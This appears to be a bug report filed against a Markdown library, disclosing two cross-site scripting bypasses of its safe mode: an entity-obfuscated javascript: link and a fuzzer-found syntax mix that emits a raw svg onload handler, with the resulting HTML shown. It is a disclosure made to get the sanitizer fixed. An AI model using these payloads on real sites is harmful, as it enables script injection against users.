More XSS's in safe mode

[JorianWoltjer]

Describe the bug

After the patches of #722, I manually found a simple bypass of the HTML entity regex, and ran the fuzzer again to find another HTML corruption.

To Reproduce

1. The browser decodes &#058 to : forming a javascript: protocol URL (entities can be prefixed with any amount of 0's).

[Click me](javascript&#058alert(origin))

<p><a href="javascript&#058alert(origin)">Click me</a></p>

2. Weird combination of syntax again resulting in raw HTML being output:

<x![](`<a
>`)><svg onload=alert(origin)![](`<a
>`)

<p>&lt;x<img src="code&gt;&lt;a
&gt;&lt;/code" alt="" />&gt;<svg onload=alert(origin)<img src="code&gt;&lt;a
&gt;&lt;/code" alt="" /></p>

Expected behavior

Safe HTML is output. Maybe use a proper HTML entity decoder to solve the first.

Debug info
Version of library being used: ba92f30 (latest master at time of writing)